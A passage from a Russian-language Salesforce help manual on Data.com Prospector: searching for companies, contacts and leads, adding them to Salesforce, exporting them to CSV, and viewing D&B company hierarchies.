поиска новых организаций и расширения корпоративной сети продаж.

Всепользователи Salesforceмогут выполнятьпоиск организацийи контактов вData.com.
Нижеперечисленыдействия, доступныепользователямприналичиилицензииData.com
Prospector.

• Добавление организаций и контактов в систему Salesforce, а также добавление
контактов в качестве интересов.

• Добавление контактов прямо из записи организации.

• Экспорт организаций и контактов из Data.com.

• Ручная очистка организаций, контактов и интересов Salesforce, независимо от того,
добавлены ли они из Data.com.

• Извлечение подробных сведений о поиске потенциальных клиентов для просмотра сведений о деятельности,
финансах, конкурентах и отраслях организаций.

• Иерархическийпросмотрвзаимосвязей элементовиинформацииоборганизации, такойкак годовойдоход, владелец
и количество сотрудников. (Доступно пользователям Data.com Premium Prospector в режиме бета-версии.)

ПродуктData.com Prospector доступенв двух версиях: Corporate Prospector и Premium Prospector. Данныеверсииотличаются
полями Dunn & Bradstreet, доступными при добавлении или ручной очистке записей организаций или интересов.
Пользователи Premium Prospector также имеют доступ к странице «Иерархия компаний».

Поля Dun & Bradstreet (D&B)Версия Data.com Prospector

Основной набор полей D&B.Data.com Corporate Prospector

Основной набор полей D&B, а также поле «Компания
D&B». Данное поле ссылается на связанную запись

Data.com Premium Prospector

компании D&B, содержащую более 70 дополнительных
полей D&B, доступных на вкладке «Компании D&B». На
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Поля Dun & Bradstreet (D&B)Версия Data.com Prospector

странице «Иерархиякомпаний»представленывзаимосвязи
компании Dun & Bradstreet в иерархическом виде.

Организации, которыеприобрелиData.com до 16 декабря 2011 года, могут использовать более раннююверсиюпродукта
с ограниченным набором полей. Поддержка данной версии будет прекращена в выпуске Summer'14. Дополнительную
информациюоприобретениипродуктаData.com Prospectorможнополучить уменеджерапоработе с клиентами Salesforce.
Если не указано иное, то интерактивная справка Salesforce ссылается на продукт Data.com Prospector.

Поиск новых компаний, контактов и интересов непосредственно в Salesforce

Средство Data.com Prospector позволяет искать новые компании и контакты в наиболее интересных отраслях и
местоположениях. Добавьте записи для новой организации, контакта и интереса в Salesforce или экспортируйте их
из других приложений. Для получения необходимых данных в нужное время можно выполнять поиск в сведениях о
компаниях, отраслях и финансах в базе данных Dun & Bradstreet® и по миллионам общедоступных контактов.

Поиск новых компаний, контактов и интересов непосредственно в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Средство Data.com Prospector позволяет искать новые компании и контакты в наиболее
интересных отраслях и местоположениях. Добавьте записи для новой организации,
контакта и интереса в Salesforce или экспортируйте их из других приложений. Для
получения необходимых данных в нужное время можно выполнять поиск в сведениях
о компаниях, отраслях и финансах в базе данных Dun & Bradstreet® и по миллионам
общедоступных контактов.

Быстрый поиск организаций прямо из Salesforce

После приобретения лицензииData.com Prospector нахождение новых компаний по
отраслям и местоположениям, в которых вы наиболее заинтересованы, превратится
впростуюзадачу. ДобавьтесведенияокомпаниивSalesforceввиденовыхорганизаций
всего за несколько шагов.

Быстрый поиск интересующихся клиентов прямо из Salesforce

Чтобынайтинужныеинтересы, ПриобретялицензиюData.com Prospector, высможете
находить контакты в компаниях, отраслях и местах, в которых вы наиболее
заинтересованы. После этого вы сможете добавлять записи в Salesforce в качестве
новых интересующихся клиентов.

Быстрый поиск контактов прямо из Salesforce

Нужны контакты? Приобретя лицензию Data.com Prospector, вы сможете находить
контакты в компаниях, отраслях и местах, в которых вы наиболее заинтересованы.
После этого вы сможете добавлять записи в Salesforce в качестве новых
интересующихся клиентов.

Получение данных по компаниям для использования в других приложениях
ПриприобретениилицензииData.com Prospector высможете экспортироватьорганизациидляиспользованиявдругих
приложениях. Выполнитепоискценныхданныхкомпаниив Dun & Bradstreet®, послечегосузитеколичестворезультатов
до тех отраслей и организаций, в которых вы более всего заинтересованы.

1333

Получайте высококачественные данные там, где это нужно
при помощи Salesforce

Продажи клиентам



Поиск данных по контактам и данным интересов для последующего использования в других приложениях
При приобретении лицензии Data.com Prospector вы сможете экспортировать контакты для использования в других
приложениях. Вы можете выполнить поиск по базе данных, созданной при помощи краудсорсинга и состоящей из
миллионов контактов, и сузить набор выдаваемых результатов так, чтобы в них отображались компании, должности,
отрасли и местоположения, которые интересуют вам больше всего.

Поиск компаний в одной корпоративной иерархии (бета-версия)

Иерархия компаний Data.com использует данные Dun & Bradstreet в Data.com для отображения иерархического
представлениякомпаний. Онаотображаетиерархическиевзаимосвязиисведенияоборганизациях (например, годовой
доход, тип собственности и количество сотрудников).

Рекомендации по поиску организаций, контактов и интересов в Salesforce

ОзнакомьтесьснекоторымирекомендациямипопоискуновыхкомпанийиконтактовприпомощиData.com Prospector.

Ограничения на поиск новых компаний, контактов и интересов в Salesforce

Ниже перечислены некоторые важные ограничения по поиску и добавлению записей из Data.com.

Быстрый поиск организаций прямо из Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
организаций из Data.com:
• «Создание» для

организаций

После приобретения лицензии Data.com Prospector нахождение новых компаний по
отраслям и местоположениям, в которых вы наиболее заинтересованы, превратится в
простую задачу. Добавьте сведения о компании в Salesforce в виде новых организаций
всего за несколько шагов.

1. Откройте вкладку Data.com.

2. Выберите вложенную вкладку «Поиск организаций».

3. Введите или выберите критерии поиска. Например, при установке флажка в поле
«Отрасль» отображается панель выбора отрасли, поддерживающаяиспользование
отраслевыхклассификацийипозволяющаявыбиратьнужныеотраслииподотрасли
в качестве критериев поиска. При установке флажка в поле «Расположение»
отображается панель выбора расположения, поддерживающая добавление
соответствующего запроса в критерий поиска.

4. Нажмите кнопку «Поиск». Результаты сортируются по количеству активных
контактов.
Чтобы просмотреть записи, помеченные как неактивные, установите флажок
«Показать неактивные записи» в разделе «Параметры». Неактивные записи
помечаются значком .

5. При наличии слишком большого количества результатов можно выполнить
указанные ниже действия.

• Отсортируйте результаты по заголовку любого столбца. Например, чтобы
отсортировать результаты по времени последнего обновления, щелкните
заголовок «Обновлено».

• Чтобы открыть нужную страницу, введите ее номер в поле «Страница».

• Воспользуйтесь стрелками для перехода к следующей или предыдущей странице.

6. Чтобыуточнитьрезультатыпоиска, воспользуйтесьфильтрами. Принеобходимостиразвернитекатегориифильтрации.
Введите нужный диапазон или установите флажки напротив всех соответствующихфильтров.

7. Добавьте все или только выбранные организации в систему Salesforce.
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• Чтобы добавить все организации, нажмите кнопку «Добавить в Salesforce» и выделите пункт «Все».

• Чтобы добавить одну или несколько организаций, выберите нужные записи и нажмите кнопку «Добавить в
Salesforce», а затем выделите пункт «Выбрано».

8. Нажмите кнопку «Продолжить».
Выбранныезаписи, являющиесяповторами, добавляютсятольковтомслучае, еслиорганизацияSalesforceподдерживает
использование повторяющихся записей организаций. Для добавления более 200 записей может потребоваться
несколько минут. После завершения добавления пользователю будет отправлено соответствующее сообщение эл.
почты.

9. Чтобыпросмотретьсписокновыхзаписейнаначальнойстраницеорганизаций, щелкните«Перейтикорганизациям»
в сообщении-подтверждении.

ПрииспользованиипродуктаData.com Premium ProspectorдобавлениеорганизацииData.comинициируетавтоматическое
создание соответствующей записи компании D&B (при ее наличии вData.com) в системе Salesforce, а также связывание
с записью организации посредством поля «Компания D&B».

СМ. ТАКЖЕ:

Рекомендации по поиску организаций, контактов и интересов в Salesforce

Значки записей в результатах поиска Data.com

Общие сведения о поисках Data.com

Быстрый поиск интересующихся клиентов прямо из Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления контактов
Data.com в качестве
интересов:
• «Создание» для

интересов

Чтобы найти нужные интересы, Приобретя лицензию Data.com Prospector, вы сможете
находить контакты в компаниях, отраслях и местах, в которых вы наиболее
заинтересованы. После этого вы сможете добавлять записи в Salesforce в качестве новых
интересующихся клиентов.

1. Откройте вкладку Data.com.

2. Используйте вкладку «Поиск контактов», чтобы ввести или выбрать параметры
поиска. Например, при установке флажка в поле «Отрасль» отображается панель
выбора отрасли, поддерживающая использование отраслевых классификаций и
позволяющая выбирать нужные отраслииподотрасли в качестве критериев поиска.
При установке флажка в поле «Расположение» отображается панель выбора
расположения, поддерживающаядобавлениесоответствующегозапроса в критерий
поиска.

3. Нажмите кнопку «Поиск».
Результатысортируютсяв алфавитно-числовомпорядке. Чтобыпросмотретьзаписи,
помеченные как неактивные, установите флажок «Показать неактивные записи» в
разделе «Параметры». Неактивные записи помечаются значком .

4. При наличии слишком большого количества результатов можно выполнить
указанные ниже действия.

• Отсортируйте результаты по заголовку любого столбца. Например, чтобы
отсортировать результаты по времени последнего обновления, щелкните
заголовок «Обновлено».

• Чтобы открыть нужную страницу, введите ее номер в поле «Страница».
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• Воспользуйтесь стрелками для перехода к следующей или предыдущей странице.

Данные действия доступны в списках, содержащих не более 100 000 записей.

5. Чтобыуточнитьрезультатыпоиска, воспользуйтесьфильтрами. Принеобходимостиразвернитекатегориифильтрации.
Введите нужный диапазон или установите флажки напротив всех соответствующихфильтров.
Список обновляется автоматически.

6. Выберите нужные контакты и нажмите кнопку «Добавить в Salesforce».

7. Чтобы добавить записи в качестве интересов, щелкните «Интересы» и нажмите кнопку «Продолжить».
Выбранныезаписи, являющиесяповторами, добавляютсятольковтомслучае, еслиорганизацияSalesforceподдерживает
использованиеповторяющихсязаписейинтересов. Длядобавленияболее 200 записейможетпотребоватьсянесколько
минут. После завершения добавления пользователю будет отправлено соответствующее сообщение эл. почты.

8. Чтобы просмотреть список новых записей на начальной странице интересов, щелкните «Перейти к интересам».

ПрииспользованиипродуктаData.com Premium ProspectorдобавлениеинтересаData.comинициирует автоматическое
создание соответствующей записи компании D&B (при ее наличии вData.com) в системе Salesforce, а также связывание
с записью интереса посредством поля «Компания D&B».

СМ. ТАКЖЕ:

Поиск ключевых контактов среди ваших организаций
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Быстрый поиск контактов прямо из Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска контактов
Data.com:
• Специальные

полномочия не
требуются

Для добавления контактов
Data.com:
• «Создание» для

контактов

Для создания организации
при добавлении контактов:
• «Создание» для

организаций

Нужны контакты? Приобретя лицензию Data.com Prospector, вы сможете находить
контактыв компаниях, отрасляхиместах, в которыхвынаиболее заинтересованы. После
этого вы сможете добавлять записи в Salesforce в качестве новых интересующихся
клиентов.

1. Откройте вкладку Data.com.

2. Используйте вкладку «Поиск контактов», чтобы ввести или выбрать параметры
поиска. Например, при установке флажка в поле «Отрасль» отображается панель
выбора отрасли, поддерживающая использование отраслевых классификаций и
позволяющая выбирать нужные отраслииподотрасли в качестве критериев поиска.
При установке флажка в поле «Расположение» отображается панель выбора
расположения, поддерживающаядобавлениесоответствующегозапроса в критерий
поиска.

3. Нажмите кнопку «Поиск».
Результатысортируютсяв алфавитно-числовомпорядке. Чтобыпросмотретьзаписи,
помеченные как неактивные, установите флажок «Показать неактивные записи» в
разделе «Параметры». Неактивные записи помечаются значком .

4. При наличии слишком большого количества результатов можно выполнить
указанные ниже действия.

• Отсортируйте результаты по заголовку любого столбца. Например, чтобы
отсортировать результаты по времени последнего обновления, щелкните
заголовок «Обновлено».

• Чтобы открыть нужную страницу, введите ее номер в поле «Страница».

• Воспользуйтесьстрелкамидляпереходак следующейилипредыдущейстранице.

Данные действия доступны в списках, содержащих не более 100 000 записей.

5. Чтобыуточнитьрезультатыпоиска, воспользуйтесьфильтрами. Принеобходимости
развернитекатегориифильтрации. Введитенужныйдиапазонилиустановитефлажки
напротив всех соответствующихфильтров.
Список обновляется автоматически.

6. Добавьте все или только выбранные контакты в систему Salesforce.

• Чтобы добавить все контакты, нажмите кнопку «Добавить в Salesforce» и выделите пункт «Все».

• Чтобы добавить один или несколько контактов, выберите нужные записи и нажмите кнопку «Добавить в
Salesforce», а затем выделите пункт «Выбрано».

Отображается сообщение, подтверждающее добавление выбранного количества записей.

7. Выберите «Контакты».
Введите или выберите организацию, с которой должны быть связаны контакты. Связыванию подлежит только одна
организация. Чтобы создать нужную организацию, воспользуйтесь поиском.

8. Нажмите кнопку «Продолжить».
Выбранныезаписи, являющиесяповторами, добавляютсятольковтомслучае, еслиорганизацияSalesforceподдерживает
использованиеповторяющихся записейконтактов. Длядобавленияболее 200 записейможетпотребоватьсянесколько
минут. После завершения добавления пользователю будет отправлено соответствующее сообщение эл. почты.
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9. Чтобы вернуться к записи организации, щелкните «Перейти к организации».

СМ. ТАКЖЕ:

Рекомендации по поиску организаций, контактов и интересов в Salesforce

Значки записей в результатах поиска Data.com

Общие сведения о поисках Data.com

Поиск ключевых контактов среди ваших организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для извлечения контактов
Data.com из организации:
• «Чтение» для

организаций

И

«Создание» для
контактов

Нужнонайтинеобходимыйконтактводнойизвашихорганизаций? Послеприобретения
лицензии Data.com Prospector станет удобно искать контакты в компаниях по названию
должности, местоположениюиотрасли. Затемоднимщелчкоммышивыможетедобавить
записи в Salesforce.

Прежде чем начать работу, убедитесь, что кнопка «Извлечь контакты» добавлена в
макет страницы организаций.

1. Откройте страницу сведений о нужной организации.

2. Щелкните «Извлечь контакты». В раскрывающемся списке...

• выберите фильтр для ограничения результатов поиска по уровню или отделу,
либо

• выберите значение «Все...» для просмотра всех контактов организации.

Откроется вкладкаData.com, содержащая список контактов, соответствующихимени
организации и любым заданным критериям фильтрации. Например, чтобы найти
менеджеров компании Universal Telco, откройте страницу сведений об организации
Universal Telco. Щелкните «Извлечьконтакты»ивразделе «По уровню» выберите
значение «Уровень менеджера». Откроется вкладка Data.com, содержащая список
менеджеров компании Universal Telco.

3. Чтобы ограничить результаты поиска, задайте дополнительные критерии
фильтрации. При необходимости разверните категории фильтрации. Введите
нужныйдиапазонилиустановитефлажкинапротиввсехсоответствующихфильтров.

4. Добавьте все или только выбранные контакты в систему Salesforce.

• Чтобы добавить все контакты, нажмите кнопку «Добавить в Salesforce».

• Чтобы добавить один или несколько контактов, выберите нужные записи и
нажмите кнопку «Добавить в Salesforce», а затем выделите пункт «Выбрано».

5. Чтобы добавить записи в качестве контактов, связанных с исходной организацией, щелкните «Контакты».
В этом случае контакты будут связаны с исходной организацией.

6. Чтобы добавить записи, нажмите кнопку «Продолжить».
Выбранныезаписи, являющиесяповторами, добавляютсятольковтомслучае, еслиорганизацияSalesforceподдерживает
использованиеповторяющихся записейконтактов. Длядобавленияболее 200 записейможетпотребоватьсянесколько
минут. После завершения добавления пользователю будет отправлено соответствующее сообщение эл. почты.
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7. Чтобы вернуться к записи организации, щелкните «Перейти к организации».

СМ. ТАКЖЕ:

Быстрый поиск контактов прямо из Salesforce

Быстрый поиск интересующихся клиентов прямо из Salesforce

Значки записей в результатах поиска Data.com

Замечания по работе с контактами Data.com в Salesforce

Клиенты Data.com Prospector могут искать нужные им контакты на странице «Организация» и добавлять их в свои
организации за несколько действий.

Доступно при наличии лицензии Data.com Prospector в версиях: Group Edition, Professional Edition, Enterprise Edition,
Performance Edition и Unlimited Edition.

Кнопка «Увеличить число контактов» открывает диалоговое окно для поиска и добавления контактовData.com в свою
организацию. Эта возможностьпозволяетполучатьнужные контактывнужное времяпрямона странице «Организация».

Ниже перечислены некоторые вещи, которые нужно знать о функции «Увеличить число контактов».

ОписаниеОграничения

Разрешается добавлять не более 200 контактов в одном
запросе. Если выбрать больше 200 контактов, будет
предложено отменить выбор некоторых контактов.

Максимум 200 контактов

Фильтры • Фильтры соединяются логическим оператором И.

• Добавляйтепоодномуэкземпляруфильтра. Добавление
нескольких экземпляров фильтра может привести к
непредсказуемым результатам.

• Department  — выберите 1 или несколько отделов в
списке с прокруткой.

• Level  — выберите 1 или несколько уровней в списке
с прокруткой.

• Title  — введите одну должность или список
должностей через запятую.

Функция «Увеличить число контактов» работает только
с очищенными организациями. Такие организации могут

Организация должна быть очищенной

импортироваться из Data.com, либо вы очистили
организацию после добавления записи в свою
организацию. Если выбранная организация не очищена,
узнайте у своего администратора, как ее очистить.

Фильтрацияконтактов в списковомпредставлении «Увеличениечисла контактов»
Отфильтруйте имеющиеся результаты Data.com для выбранной организации и затем добавьте нужные контакты.
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Для этого потребуется лицензия Data.com Premium Prospector.

В зависимости от того, по какому полю выполняется фильтрация, будут доступны различные варианты. Можно
фильтровать по должности, отделу или уровню.

• Фильтры соединяются логическим оператором И.

• Добавляйте по одному экземпляру фильтра. Добавление нескольких экземпляров фильтра может привести к
непредсказуемым результатам.

• Department  — выберите 1 или несколько отделов в списке с прокруткой.

• Level  — выберите 1 или несколько уровней в списке с прокруткой.

• Title  — введите одну должность или список должностей через запятую.

1. В диалоговом окне «Увеличение числа контактов»щелкните .

2. Нажмите кнопку «Добавитьфильтр».

3. В окне «Создатьфильтр» выберите фильтр, который нужно добавить.

4. В поле «Значение» выберите нужные значения или введите их вручную.

5. Нажмите кнопку «Готово».

6. Чтобы установить еще один фильтр, нажмите «Добавитьфильтр».

7. Чтобы удалить фильтр, щелкните .

8. Чтобы применить изменения и сохранить фильтры, нажмите кнопку «Сохранить».

Получение данных по компаниям для использования в других приложениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта записей
организаций Data.com:
• «Чтение» для

организаций

ПриприобретениилицензииData.com Prospectorвысможетеэкспортироватьорганизации
для использования в других приложениях. Выполните поиск ценных данных компании
в Dun & Bradstreet®, после чего сузите количество результатов до тех отраслей и
организаций, в которых вы более всего заинтересованы.

Операция экспорта записей инициирует создание CSV-файла, который может быть
открыт в приложении Microsoft® Excel® или других приложениях, поддерживающих
CSV-формат.

Способ доступа к файлу экспорта определяется условиями ниже.

• Количествоэкспортируемыхзаписей. Приэкспортеменее 200 записейпользователю
отображаетсясообщение, содержащеессылкунафайлэкспортанавкладке «Файлы».
При экспорте более 200 записей пользователю отправляется сообщение эл. почты,
содержащее ссылку на файл экспорта на вкладке «Файлы».

• Если у вас не включен Chatter, мы отправим вам сообщение электронной почты с
прикрепленнымфайлом экспорта.

Ниже перечислены экспортируемые поля организаций.

• Jigsaw  (поле организации «Ключ Data.com»)

• Имя

• Веб-сайт

• Тел.

• Улица для счета

• Город для счета
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• Код области для счета

• Почтовый индекс для счета

• Страна для счета

• Отрасль

• Количество сотрудников

• Годовой доход

• Собственность

• Биржевой символ

• Факс

• Код FIPS MSA  (доступно только при использовании Data.com Premium Prospector)

• SIC

• Описание SIC

• Код NAICS

• Описание NAICS

• StockExchange  (доступно только при использовании Data.com Premium Prospector)

• SalesVolumeReliability  (доступно только при использовании Data.com Premium Prospector)

• EmployeesTotalReliability  (доступно только при использовании Data.com Premium Prospector)

• Дата последнего обновления Data.com

• Область для счета  (доступно только при использовании раскрывающихся списков «Область» и «Страна»)

• Код страны для счета  (доступно только при использовании раскрывающихся списков «Область» и «Страна»)

Ниже приведен пример экспорта записей организаций Data.com.

1. Откройте список результатов поиска по организациям Data.com.

2. Выполните экспорт всех или выбранных организаций.

• Чтобы экспортировать все организации, нажмите кнопку «Экспорт результатов» и выделите значение «Все».

• Чтобы экспортировать выбранные организации, установитефлажки напротив нужных записей, нажмите кнопку
«Экспорт результатов» и выделите значение «Выбрано».

3. Если количество записей, выбранных для экспорта, не превышает остатка записей, выполните одноиз указанныхниже
действий.

• Выполните экспорт всех записей.

• Выполните экспорт всех записей, кроме записей, которые ужедобавленыв систему Salesforce ( ) илиприобретены
(добавлены или экспортированы) любым пользователем Data.com организации ( ).

Если количество записей, выбранных для экспорта, превышает остаток записей, то пользователю будет отправлено
соответствующее уведомление. Пользователь может продолжить экспорт записей, количество которых будет
определяться текущим остатком и другими параметрами организации. Если количество экспортируемых записей
превышает текущий остаток, выполните одно из указанных ниже действий.

• Добавьте приобретенные ( ) и новые записи.

• Исключите все выбранные записи, которые уже принадлежат организации ( или ).

См. пример ниже.
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4. Нажмите кнопку «Продолжить».
При этом отображается диалоговое окно, Диалоговое окно имеет ссылку нафайл экспорта на вкладке «Файлы», либо
сообщает вам, что файл экспорта был отправлен на ваш адрес электронной почты.

Пример: Например: пользователь, которому доступно всего 50 записей, выбирает 150 записей организаций. При
этом экспорт должен охватывать как новые, так и приобретенные записи. Ранее вы приобрели 30 из выбранных
записей, которые уже находятся в вашей организации. Таким образом, экспорту будут подлежать все 30 ранее
приобретенных записей, а также 50 новых записей. По завершении экспорта остаток будет составлять 0 записей.

СМ. ТАКЖЕ:

Рекомендации по поиску компаний и контактов для последующего использования в других приложениях

Поиск данных по контактам и данным интересов для последующего использования в других приложениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта контактов:
• «Чтение» для контактов

При приобретении лицензииData.com Prospector вы сможете экспортировать контакты
дляиспользования в другихприложениях. Выможете выполнитьпоискпобазе данных,
созданной при помощи краудсорсинга и состоящей из миллионов контактов, и сузить
набор выдаваемых результатов так, чтобы в них отображались компании, должности,
отрасли и местоположения, которые интересуют вам больше всего.

Операция экспорта инициирует создание CSV-файла, который может быть открыт в
приложении Microsoft® Excel® или любом другом приложении, поддерживающем
CSV-формат. Еслиорганизацияиспользует параметры сокрытия контактных данных, то
записи контактов, для которых установлен флажок «Не звонить» или «Без рассылки
по эл. почте», содержат пустое поле «Телефон» или «Эл. почта» в CSV-файлах.

Способ доступа к файлу экспорта определяется условиями ниже.

• Количествоэкспортируемыхзаписей. Приэкспортеменее 200 записейпользователю
отображаетсясообщение, содержащеессылкунафайлэкспортанавкладке «Файлы».
При экспорте более 200 записей пользователю отправляется сообщение эл. почты,
содержащее ссылку на файл экспорта на вкладке «Файлы».

• Если у вас не включен Chatter, мы отправим вам сообщение электронной почты с
прикрепленнымфайлом экспорта.

Ниже перечислены экспортируемые поля контакта.

• Jigsaw  (поле контакта «Ключ Data.com»)

• Личное имя

• Фамилия

• Должность

• Тел.

• Эл. почта

• Улица в почтовом адресе

• Город в почтовом адресе

• Код области в почтовом адресе

• Почтовый индекс

• Страна в почтовом адресе

• Имя организации
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• Количество сотрудников

• Годовой доход

• Отдел

• Отрасль

• Дата последнего обновления Data.com

• Область в почтовом адресе  (доступно только при использовании раскрывающихся списков «Область» и «Страна»)

• Код страны в почтовом адресе  (доступнотолькоприиспользованиираскрывающихсясписков «Область» и «Страна»)

Ниже приведен пример экспорта записей контактов Data.com.

1. Откройте список результатов поиска по контактам Data.com.

2. Выполните экспорт всех или выбранных контактов.

• Чтобы экспортировать все контакты, нажмите кнопку «Экспорт результатов» и выделите значение «Все».

• Чтобы экспортировать выбранные контакты, установите флажки напротив нужных записей, нажмите кнопку
«Экспорт результатов» и выделите значение «Выбрано».

3. Если количество записей, выбранных для экспорта, не превышает остатка записей, выполните одно из указанных
ниже действий.

• Выполните экспорт всех записей.

• Выполните экспорт всех записей, кроме записей, которые ужедобавленыв систему Salesforce ( ) илиприобретены
(добавлены или экспортированы) любым пользователем Data.com организации ( ).

Если количество записей, выбранных для экспорта, превышает остаток записей, то пользователю будет отправлено
соответствующее уведомление. Пользователь может продолжить экспорт записей, количество которых будет
определяться текущим остатком и другими параметрами организации. Если количество экспортируемых записей
превышает текущий остаток, выполните одно из указанных ниже действий.

• Добавьте приобретенные ( ) и новые записи.

• Исключите все выбранные записи, которые уже принадлежат организации ( или ).

См. пример ниже.

4. Нажмите кнопку «Продолжить».
При этом отображается диалоговое окно, Диалоговое окно имеет ссылку нафайл экспорта на вкладке «Файлы», либо
сообщает вам, что файл экспорта был отправлен на ваш адрес электронной почты.

Пример: Например: пользователь, которому доступно всего 50 записей, выбирает 150 записей организаций. При
этом экспорт должен охватывать как новые, так и приобретенные записи. Ранее вы приобрели 30 из выбранных
записей, которые уже находятся в вашей организации. Таким образом, экспорту будут подлежать все 30 ранее
приобретенных записей, а также 50 новых записей. По завершении экспорта остаток будет составлять 0 записей.

СМ. ТАКЖЕ:

Рекомендации по поиску компаний и контактов для последующего использования в других приложениях
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Поиск компаний в одной корпоративной иерархии (бета-версия)

ИерархиякомпанийData.comиспользуетданные Dun & Bradstreet вData.comдляотображенияиерархическогопредставления
компаний. Она отображает иерархические взаимосвязи и сведения об организациях (например, годовой доход, тип
собственности и количество сотрудников).

ИерархиякомпанийData.comиспользуетданные Dun & Bradstreet длясозданияиерархическогопредставленияорганизации,
отображающего ее взаимосвязи со связанными компаниями. Чтобы добавить организацию в организацию Salesforce,
нажмите кнопку «Добавить организацию» напротив нужной организации.

Иерархия компаний доступна как стандартная функция для клиентов Data.com Premium Prospector. Иерархия компаний
основывается на данных о компаниях Dun & Bradstreet. Помимо взаимосвязеймежду корпоративными единицами, можно
видеть связанный годовой доход и число сотрудников в разных корпоративных единицах иерархии. Для расширения
контекста также включаются сведения о вашей организации Salesforce: например, существует ли корпоративная единица
в виде записи организациинаряду с зарегистрированным владельцем организации. Спомощьюэтих сведений торговые
представители могут выявлять релевантных потенциальных клиентов и добавлять их в виде организаций в вашу
организацию Salesforce одним нажатием кнопки непосредственно из иерархического представления.

Данный выпуск поддерживает бета-версиюиерархии компанийData.com, являющуюся полноценной. Чтобы отправить
свои отзывы и предложения для иерархии компаний, воспользуйтесь веб-узлом IdeaExchange. Дополнительную
информацию о включении данной функции в организации можно получить в компании Salesforce.

Иерархия компаний Data.com отображает разные типы компаний и их взаимосвязи.

ОписаниеТип компании

Высшая организационная единица в корпоративной
иерархическойструктуре, контролирующаялокальныеили
международные компании и отделения.

Глобальный головной офис

Высшая единица корпоративной иерархии внутри одной
страны. Как правило, локальный головной офис
подчиняется глобальному головному офису.

Локальный головной офис

Компания, которая может располагать филиалами,
подразделениямииотделениями, неся занихфинансовую
ответственность.

Головной офис

Дополнительное расположение головного офиса.Филиал

Компания, которая не располагает филиалами или
отделениями.

Один офис

Данная компанияне являетсярыночной, поэтомусведения
о записи не отображаются намеренно. Данная запись не

Нерыночная

может быть добавлена из иерархии, но поддерживается
просмотр или добавление активных связанных
организаций.

Просмотр иерархии компаний для организаций
Иерархия компаний Data.com отображает иерархическую взаимосвязь организаций, а также важные сведения об
организациях. Пользователимогутпросматриватьиерархическиевзаимосвязиисведенияоборганизациях (например,
годовой доход, тип собственности и количество сотрудников).
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Поиск новых организаций по номеру D-U-N-S глобального головного подразделения
ЕслииспользуетсяпродуктData.com Premium Prospector, оноченьудобендляпоискаорганизаций, входящихвиерархию
существующих организаций. Достаточно просто выполнить поиск по номеру D-U-N-S глобального головного
подразделенияиз записикомпании D&B. Выувидитеостальныекомпаниивпределаходнойкорпоративнойструктуры
и сможете добавить эти компании в Salesforce в качестве новых организаций.

Рекомендации по добавлению организаций из одной иерархии компаний в Salesforce

ФункцияИерархия компанийData.com выполняет поиск записей компании Dunn & Bradstreet вData.com и отображает
связикомпанийвиерархическомвиде. Виерархиикомпанийможнодобавлять записиорганизацийвсистемуSalesforce.
Ниже перечислены некоторые рекомендации по добавлению записей Data.com в систему Salesforce через иерархию
компаний.

СМ. ТАКЖЕ:

Настройка макетов страниц для продукта Data.com Prospector и функции Data.com Clean

Просмотр иерархии компаний для организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Иерархия компаний Data.com отображает иерархическую взаимосвязь организаций, а
также важные сведения об организациях. Пользователи могут просматривать
иерархические взаимосвязии сведения об организациях (например, годовой доход, тип
собственности и количество сотрудников).

Иерархия компаний Data.com доступна при наличии лицензии на продукт Data.com
Premium Prospector.

ПреждечемиспользоватьиерархиюкомпанийData.com, администратордолжендобавить
кнопку «Иерархия компаний» в макет страницы организации (см. раздел «Настройка
макетов страницдляпродуктаData.com ProspectorифункцииData.com Clean»на странице
1902).

1. Откройте страницу сведений об организации.

2. Нажмите кнопку «Иерархия компаний Data.com».

СМ. ТАКЖЕ:

Настройка макетов страниц для продукта Data.com Prospector и функции Data.com Clean
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Поиск новых организаций по номеру D-U-N-S глобального головного подразделения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
